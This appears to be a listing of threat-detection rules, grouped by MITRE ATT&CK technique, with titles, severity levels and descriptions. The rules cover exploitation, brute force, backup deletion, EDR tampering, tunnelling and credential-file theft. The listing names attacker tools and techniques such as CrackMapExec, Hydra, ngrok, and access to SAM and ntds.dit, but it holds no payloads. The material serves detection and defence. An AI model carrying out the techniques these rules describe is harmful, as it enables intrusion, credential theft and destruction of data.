attack.t1203	29	Show Rules (29) OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd - Level: high Description: Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. iOS Implant URL Pattern - Level: critical Description: Detects URL pattern used by iOS Implant Antivirus Exploitation Framework Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. OMIGOD SCX RunAsProvider ExecuteScript - Level: high Description: Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite. OMIGOD SCX RunAsProvider ExecuteShellCommand - Level: high Description: Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite. Suspicious Invocation of Shell via Rsync - Level: high Description: Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation. Suspicious Browser Child Process - MacOS - Level: medium Description: Detects suspicious child processes spawned from browsers. This could be a result of a potential web browser exploitation. OMIGOD HTTP No Authentication RCE - Level: high Description: Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request. Download From Suspicious TLD - Blacklist - Level: low Description: Detects download of certain file types from hosts in suspicious TLDs Download From Suspicious TLD - Whitelist - Level: low Description: Detects executable downloads from suspicious remote systems Audit CVE Event - Level: critical Description: Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log. Network Connection Initiated By Eqnedt32.EXE - Level: high Description: Detects network connections from the Equation Editor process "eqnedt32.exe". Office Application Initiated Network Connection To Non-Local IP - Level: medium Description: Detects an office application (Word, Excel, PowerPoint) that initiate a network connection to a non-private IP addresses. This rule aims to detect traffic similar to one seen exploited in CVE-2021-42292. This rule will require an initial baseline and tuning that is specific to your organization. Suspicious HWP Sub Processes - Level: high Description: Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation Java Running with Remote Debugging - Level: medium Description: Detects a JAVA process running with remote debugging allowing more than just localhost to connect Potentially Suspicious Child Process of KeyScrambler.exe - Level: medium Description: Detects potentially suspicious child processes of KeyScrambler.exe Suspicious Spool Service Child Process - Level: high Description: Detects suspicious print spool service (spoolsv.exe) child processes. Potentially Suspicious Child Process Of WinRAR.EXE - Level: medium Description: Detects potentially suspicious child processes of WinRAR.exe. Exploit for CVE-2017-0261 - Level: medium Description: Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262 Droppers Exploiting CVE-2017-11882 - Level: critical Description: Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe Exploit for CVE-2017-8759 - Level: critical Description: Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759 CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum CVE-2021-31979 CVE-2021-33771 Exploits - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum Potential CVE-2021-26857 Exploitation Attempt - Level: high Description: Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for \| abnormal subprocesses spawning by Exchange Server's Unified Messaging service CVE-2021-26858 Exchange Exploitation - Level: high Description: Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process - Level: high Description: Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries. Dfsvc.EXE Network Connection To Non-Local IPs - Level: medium Description: Detects network connections from "dfsvc.exe" used to handled ClickOnce applications to non-local IPs Dfsvc.EXE Initiated Network Connection Over Uncommon Port - Level: high Description: Detects an initiated network connection over uncommon ports from "dfsvc.exe". A utility used to handled ClickOnce applications. OMIGOD SCX RunAsProvider ExecuteScript - Level: high Description: Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite.
attack.t1110	28	Show Rules (28) Brute Force - Level: medium Description: Detects many authentication failures from one source to one destination which is may indicate Brute Force activity CrackMapExecWin - Level: critical Description: Detects CrackMapExecWin Activity as Described by NCSC Password Spray Activity - Level: high Description: Indicates that a password spray attack has been successfully performed. Account Lockout - Level: medium Description: Identifies user account which has been locked because the user tried to sign in too many times with an incorrect user ID or password. Successful Authentications From Countries You Do Not Operate Out Of - Level: medium Description: Detect successful authentications from countries you do not operate out of. Failed Authentications From Countries You Do Not Operate Out Of - Level: low Description: Detect failed authentications from countries you do not operate out of. Potential MFA Bypass Using Legacy Client Authentication - Level: high Description: Detects successful authentication from potential clients using legacy authentication via user agent strings. This could be a sign of MFA bypass using a password spray attack. Sign-in Failure Due to Conditional Access Requirements Not Met - Level: high Description: Define a baseline threshold for failed sign-ins due to Conditional Access failures Use of Legacy Authentication Protocols - Level: high Description: Alert on when legacy authentication has been used on an account Multifactor Authentication Denied - Level: medium Description: User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account. Multifactor Authentication Interrupted - Level: medium Description: Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge. User Access Blocked by Azure Conditional Access - Level: medium Description: Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts. Bitbucket User Login Failure - Level: medium Description: Detects user authentication failure events. Please note that this rule can be noisy and it is recommended to use with correlation based on "author.name" field. Bitbucket User Login Failure Via SSH - Level: medium Description: Detects SSH user login access failures. Please note that this rule can be noisy and is recommended to use with correlation based on "author.name" field. Cisco BGP Authentication Failures - Level: low Description: Detects BGP failures which may be indicative of brute force attacks to manipulate routing Cisco LDP Authentication Failures - Level: low Description: Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels Huawei BGP Authentication Failures - Level: low Description: Detects BGP failures which may be indicative of brute force attacks to manipulate routing. Juniper BGP Missing MD5 - Level: low Description: Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing. Hack Tool User Agent - Level: high Description: Detects suspicious user agent strings user by hack tools in proxy logs MSSQL Server Failed Logon - Level: low Description: Detects failed logon attempts from clients to MSSQL server. MSSQL Server Failed Logon From External Network - Level: medium Description: Detects failed logon attempts from clients with external network IP to an MSSQL server. This can be a sign of a bruteforce attack. NTLM Brute Force - Level: medium Description: Detects common NTLM brute force device names External Remote RDP Logon from Public IP - Level: medium Description: Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port. External Remote SMB Logon from Public IP - Level: high Description: Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port. HackTool - CrackMapExec Execution - Level: high Description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced. HackTool - Hydra Password Bruteforce Execution - Level: high Description: Detects command line parameters used by Hydra password guessing hack tool Sign-in Failure Bad Password Threshold - Level: high Description: Define a baseline threshold and then monitor and adjust to suit your organizational behaviors and limit false alerts from being generated. Failed Logins with Different Accounts from Single Source - Linux - Level: medium Description: Detects suspicious failed logins with different user accounts from a single source system
attack.t1098	27	Show Rules (27) AWS IAM Backdoor Users Keys - Level: medium Description: Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org. AWS Route 53 Domain Transfer Lock Disabled - Level: low Description: Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar. AWS Route 53 Domain Transferred to Another Account - Level: low Description: Detects when a request has been made to transfer a Route 53 domain to another AWS account. AWS User Login Profile Was Modified - Level: high Description: Detects activity when someone is changing passwords on behalf of other users. An attacker with the "iam:UpdateLoginProfile" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup. Number Of Resource Creation Or Deployment Activities - Level: medium Description: Number of VM creations or deployment activities occur in Azure via the azureactivity log. Change to Authentication Method - Level: medium Description: Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access. Bulk Deletion Changes To Privileged Account Permissions - Level: high Description: Detects when a user is removed from a privileged role. Bulk changes should be investigated. Anomalous User Activity - Level: high Description: Indicates that there are anomalous patterns of behavior like suspicious changes to the directory. Bitbucket Global Permission Changed - Level: medium Description: Detects global permissions change activity. GCP Access Policy Deleted - Level: medium Description: Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource. Google Workspace Granted Domain API Access - Level: medium Description: Detects when an API access service account is granted domain authority. Google Workspace User Granted Admin Privileges - Level: medium Description: Detects when an Google Workspace user is granted admin privileges. Privileged User Has Been Created - Level: high Description: Detects the addition of a new user to a privileged group such as "root" or "sudo" Cisco Local Accounts - Level: high Description: Find local accounts being created or modified as well as remote authentication configurations Powerview Add-DomainObjectAcl DCSync AD Extend Right - Level: high Description: Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer Enabled User Right in AD to Control User Objects - Level: high Description: Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects. Active Directory User Backdoors - Level: high Description: Detects scenarios where one can control another users or computers account without having to use their credentials. A New Trust Was Created To A Domain - Level: medium Description: Addition of domains is seldom and should be verified for legitimacy. Password Change on Directory Service Restore Mode (DSRM) Account - Level: high Description: Detects potential attempts made to set the Directory Services Restore Mode administrator password. The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password in order to obtain persistence. User Added to Local Administrator Group - Level: medium Description: Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity A Member Was Removed From a Security-Enabled Global Group - Level: low Description: Detects activity when a member is removed from a security-enabled global group A Member Was Added to a Security-Enabled Global Group - Level: low Description: Detects activity when a member is added to a security-enabled global group A Security-Enabled Global Group Was Deleted - Level: low Description: Detects activity when a security-enabled global group is deleted Powershell LocalAccount Manipulation - Level: medium Description: Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups User Added to Local Administrators Group - Level: medium Description: Detects addition of users to the local administrator group via "Net" or "Add-LocalGroupMember". User Added To Highly Privileged Group - Level: high Description: Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember". Suspicious Computer Account Name Change CVE-2021-42287 - Level: high Description: Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287
attack.t1490	26	Show Rules (26) AWS S3 Bucket Versioning Disable - Level: medium Description: Detects when S3 bucket versioning is disabled. Threat actors use this technique during AWS ransomware incidents prior to deleting S3 objects. Time Machine Backup Deletion Attempt Via Tmutil - MacOS - Level: medium Description: Detects deletion attempts of MacOS Time Machine backups via the native backup utility "tmutil". An adversary may perform this action before launching a ransonware attack to prevent the victim from restoring their files. Time Machine Backup Disabled Via Tmutil - MacOS - Level: medium Description: Detects disabling of Time Machine (Apple's automated backup utility software) via the native macOS backup utility "tmutil". An attacker can use this to prevent backups from occurring. New File Exclusion Added To Time Machine Via Tmutil - MacOS - Level: medium Description: Detects the addition of a new file or path exclusion to MacOS Time Machine via the "tmutil" utility. An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up. Cisco Modify Configuration - Level: medium Description: Modifications to a config that will serve an adversary's impacts or persistence Backup Files Deleted - Level: medium Description: Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. Suspicious Volume Shadow Copy Vssapi.dll Load - Level: high Description: Detects the image load of VSS DLL by uncommon executables Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load - Level: medium Description: Detects the image load of VSS DLL by uncommon executables Suspicious Volume Shadow Copy VSS_PS.dll Load - Level: high Description: Detects the image load of vss_ps.dll by uncommon executables Delete Volume Shadow Copies Via WMI With PowerShell - Level: high Description: Shadow Copies deletion using operating systems utilities via PowerShell Delete Volume Shadow Copies via WMI with PowerShell - PS Script - Level: high Description: Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script - Level: high Description: Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil Boot Configuration Tampering Via Bcdedit.EXE - Level: high Description: Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware. Copy From VolumeShadowCopy Via Cmd.EXE - Level: high Description: Detects the execution of the builtin "copy" command that targets a shadow copy (sometimes used to copy registry hives that are in use) Deletion of Volume Shadow Copies via WMI with PowerShell - Level: high Description: Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil Sensitive File Access Via Volume Shadow Copy Backup - Level: high Description: Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit) Shadow Copies Deletion Using Operating Systems Utilities - Level: high Description: Shadow Copies deletion using operating systems utilities All Backups Deleted Via Wbadmin.EXE - Level: high Description: Detects the deletion of all backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled. Windows Backup Deleted Via Wbadmin.EXE - Level: medium Description: Detects the deletion of backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled. File Recovery From Backup Via Wbadmin.EXE - Level: medium Description: Detects the recovery of files from backups via "wbadmin.exe". Attackers can restore sensitive files such as NTDS.DIT or Registry Hives from backups in order to potentially extract credentials. Registry Disable System Restore - Level: high Description: Detects the modification of the registry to disable a system restore on the computer New Root or CA or AuthRoot Certificate to Store - Level: medium Description: Detects the addition of new root, CA or AuthRoot certificates to the Windows registry WannaCry Ransomware Activity - Level: critical Description: Detects WannaCry ransomware activity Potential Dtrack RAT Activity - Level: critical Description: Detects potential Dtrack RAT activity via specific process patterns Potential Maze Ransomware Activity - Level: critical Description: Detects specific process characteristics of Maze ransomware word document droppers Amsi.DLL Load By Uncommon Process - Level: low Description: Detects loading of Amsi.dll by uncommon processes
attack.t1562	23	Show Rules (23) AWS SecurityHub Findings Evasion - Level: high Description: Detects the modification of the findings on SecurityHub. Azure Kubernetes Events Deleted - Level: medium Description: Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection. Google Cloud Firewall Modified or Deleted - Level: medium Description: Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP). ETW Logging Disabled In .NET Processes - Registry - Level: high Description: Potential adversaries stopping ETW providers recording loaded .NET assemblies. HackTool - EDRSilencer Execution - Filter Added - Level: high Description: Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names. Windows Filtering Platform Blocked Connection From EDR Agent Binary - Level: high Description: Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents. Adversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events. Sysmon Application Crashed - Level: high Description: Detects application popup reporting a failure of the Sysmon service Windows Defender Exclusions Added - PowerShell - Level: medium Description: Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions Filter Driver Unloaded Via Fltmc.EXE - Level: medium Description: Detect filter driver unloading activity via fltmc.exe Sysmon Driver Unloaded Via Fltmc.EXE - Level: high Description: Detects possible Sysmon filter driver unloaded via fltmc.exe HackTool - EDRSilencer Execution - Level: high Description: Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information. Windows Firewall Disabled via PowerShell - Level: medium Description: Detects attempts to disable the Windows Firewall using PowerShell Write Protect For Storage Disabled - Level: medium Description: Detects applications trying to modify the registry in order to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group. Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy ETW Logging Tamper In .NET Processes Via CommandLine - Level: high Description: Detects changes to environment variables related to ETW logging via the CommandLine. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies. Removal Of Index Value to Hide Schedule Task - Registry - Level: medium Description: Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query" Removal Of SD Value to Hide Schedule Task - Registry - Level: medium Description: Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware ETW Logging Disabled In .NET Processes - Sysmon Registry - Level: high Description: Potential adversaries stopping ETW providers recording loaded .NET assemblies. Hide Schedule Task Via Index Value Tamper - Level: high Description: Detects when the "index" value of a scheduled task is modified from the registry Which effectively hides it from any tooling such as "schtasks /query" (Read the referenced link for more information about the effects of this technique) ETW Logging Disabled For rpcrt4.dll - Level: low Description: Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll ETW Logging Disabled For SCM - Level: low Description: Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM) Diamond Sleet APT Scheduled Task Creation - Registry - Level: high Description: Detects registry event related to the creation of a scheduled task used by Diamond Sleet APT during exploitation of Team City CVE-2023-42793 vulnerability Terminate Linux Process Via Kill - Level: medium Description: Detects usage of command line tools such as "kill", "pkill" or "killall" to terminate or signal a running process.
attack.t1083	22	Show Rules (22) Powershell File and Directory Discovery - Level: low Description: Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Shell Invocation via Apt - Linux - Level: medium Description: Detects the use of the "apt" and "apt-get" commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Capabilities Discovery - Linux - Level: low Description: Detects usage of "getcap" binary. This is often used during recon activity to determine potential binaries that can be abused as GTFOBins or other. File and Directory Discovery - Linux - Level: informational Description: Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares. Shell Execution via Find - Linux - Level: high Description: Detects the use of the find command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or exploitation attempt. Shell Execution via Flock - Linux - Level: high Description: Detects the use of the "flock" command to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Shell Execution GCC - Linux - Level: high Description: Detects the use of the "gcc" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Shell Execution via Nice - Linux - Level: high Description: Detects the use of the "nice" utility to execute a shell. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. Potential Discovery Activity Using Find - Linux - Level: medium Description: Detects usage of "find" binary in a suspicious manner to perform discovery Vim GTFOBin Abuse - Linux - Level: high Description: Detects the use of "vim" and it's siblings commands to execute a shell or proxy commands. Such behavior may be associated with privilege escalation, unauthorized command execution, or to break out from restricted environments. File and Directory Discovery - MacOS - Level: informational Description: Detects usage of system utilities to discover files and directories Potential Discovery Activity Using Find - MacOS - Level: medium Description: Detects usage of "find" binary in a suspicious manner to perform discovery Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Source Code Enumeration Detection by Keyword - Level: medium Description: Detects source code enumeration that use GET requests by keyword searches in URL strings Powershell Sensitive File Discovery - Level: medium Description: Detect adversaries enumerate sensitive files Powershell Directory Enumeration - Level: medium Description: Detects technique used by MAZE ransomware to enumerate directories using Powershell DirLister Execution - Level: low Description: Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files. HackTool - PCHunter Execution - Level: high Description: Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff PUA - Seatbelt Execution - Level: high Description: Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters Turla Group Lateral Movement - Level: critical Description: Detects automated lateral movement by Turla group WannaCry Ransomware Activity - Level: critical Description: Detects WannaCry ransomware activity Automated Turla Group Lateral Movement - Level: medium Description: Detects automated lateral movement by Turla group
attack.t1548	21	Show Rules (21) PrintNightmare Powershell Exploitation - Level: high Description: Detects Commandlet name for PrintNightmare exploitation. AWS STS AssumeRole Misuse - Level: low Description: Identifies the suspicious use of AssumeRole. Attackers could move laterally and escalate privileges. AWS STS GetSessionToken Misuse - Level: low Description: Identifies the suspicious use of GetSessionToken. Tokens could be created and used by attackers to move laterally and escalate privileges. AWS Suspicious SAML Activity - Level: medium Description: Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML. CA Policy Removed by Non Approved Actor - Level: medium Description: Monitor and alert on conditional access changes where non approved actor removed CA Policy. CA Policy Updated by Non Approved Actor - Level: medium Description: Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value. New CA Policy by Non-approved Actor - Level: medium Description: Monitor and alert on conditional access changes. User Added To Group With CA Policy Modification Access - Level: medium Description: Monitor and alert on group membership additions of groups that have CA policy modification access User Removed From Group With CA Policy Modification Access - Level: medium Description: Monitor and alert on group membership removal of groups that have CA policy modification access GCP Break-glass Container Workload Deployed - Level: medium Description: Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls. Linux Capabilities Discovery - Level: low Description: Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges. Linux Doas Conf File Creation - Level: medium Description: Detects the creation of doas.conf file in linux host platform. Linux Doas Tool Execution - Level: low Description: Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does. SCM Database Privileged Operation - Level: medium Description: Detects non-system users performing privileged operation os the SCM database Potential Privilege Escalation via Local Kerberos Relay over LDAP - Level: high Description: Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges. Vulnerable Netlogon Secure Channel Connection Allowed - Level: high Description: Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472. Credential Dumping Attempt Via Svchost - Level: high Description: Detects when a process tries to access the memory of svchost to potentially dump credentials. Regedit as Trusted Installer - Level: high Description: Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe Abused Debug Privilege by Arbitrary Parent Processes - Level: high Description: Detection of unusual child processes by different system processes UAC Bypass via Windows Firewall Snap-In Hijack - Level: medium Description: Detects attempts to bypass User Account Control (UAC) by hijacking the Microsoft Management Console (MMC) Windows Firewall snap-in COM Hijack via Sdclt - Level: high Description: Detects changes to 'HKCU\Software\Classes\Folder\shell\open\command\DelegateExecute'
attack.t1090	21	Show Rules (21) OpenCanary - HTTPPROXY Login Attempt - Level: high Description: Detects instances where an HTTPPROXY service on an OpenCanary node has had an attempt to proxy another page. Malicious IP Address Sign-In Failure Rate - Level: high Description: Indicates sign-in from a malicious IP address based on high failure rates. Malicious IP Address Sign-In Suspicious - Level: high Description: Indicates sign-in from a malicious IP address known to be malicious at time of sign-in. Sign-In From Malware Infected IP - Level: high Description: Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server. Communication To Ngrok Tunneling Service - Linux - Level: high Description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors Communication To LocaltoNet Tunneling Service Initiated - Linux - Level: high Description: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls. Connection Proxy - Level: low Description: Detects setting proxy configuration Ngrok Usage with Remote Desktop Service - Level: high Description: Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour Communication To LocaltoNet Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls. Communication To Ngrok Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download. Suspicious TCP Tunnel Via PowerShell Script - Level: medium Description: Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity Cloudflared Tunnel Connections Cleanup - Level: medium Description: Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections. Cloudflared Tunnel Execution - Level: medium Description: Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks. HackTool - Htran/NATBypass Execution - Level: high Description: Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass) New Port Forwarding Rule Added Via Netsh.EXE - Level: medium Description: Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule RDP Port Forwarding Rule Added Via Netsh.EXE - Level: high Description: Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule PUA - Fast Reverse Proxy (FRP) Execution - Level: high Description: Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet. PUA- IOX Tunneling Tool Execution - Level: high Description: Detects the use of IOX - a tool for port forwarding and intranet proxy purposes PUA - NPS Tunneling Tool Execution - Level: high Description: Detects the use of NPS, a port forwarding and intranet penetration proxy server Potentially Suspicious Usage Of Qemu - Level: medium Description: Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky. New PortProxy Registry Entry Added - Level: medium Description: Detects the modification of the PortProxy registry key which is used for port forwarding.
attack.t1070	20	Show Rules (20) Suspicious Load of Advapi31.dll - Level: informational Description: Detects the load of advapi31.dll by a process running in an uncommon folder Kubernetes Events Deleted - Level: medium Description: Detects when events are deleted in Kubernetes. An adversary may delete Kubernetes events in an attempt to evade detection. SES Identity Has Been Deleted - Level: medium Description: Detects an instance of an SES identity being deleted via the "DeleteIdentity" event. This may be an indicator of an adversary removing the account that carried out suspicious or malicious activities Linux Package Uninstall - Level: low Description: Detects linux package removal using builtin tools such as "yum", "apt", "apt-get" or "dpkg". Remove Exported Mailbox from Exchange Webserver - Level: high Description: Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit EventLog EVTX File Deleted - Level: medium Description: Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence Exchange PowerShell Cmdlet History Deleted - Level: high Description: Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence IIS WebServer Access Logs Deleted - Level: medium Description: Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence PowerShell Console History Logs Deleted - Level: medium Description: Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence Tomcat WebServer Logs Deleted - Level: medium Description: Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence DLL Load By System Process From Suspicious Locations - Level: medium Description: Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public" Clearing Windows Console History - Level: high Description: Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Disable of ETW Trace - Powershell - Level: high Description: Detects usage of powershell cmdlets to disable or remove ETW trace sessions Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE - Level: medium Description: Detects potential malicious and unauthorized usage of bcdedit.exe Filter Driver Unloaded Via Fltmc.EXE - Level: medium Description: Detect filter driver unloading activity via fltmc.exe Sysmon Driver Unloaded Via Fltmc.EXE - Level: high Description: Detects possible Sysmon filter driver unloaded via fltmc.exe Fsutil 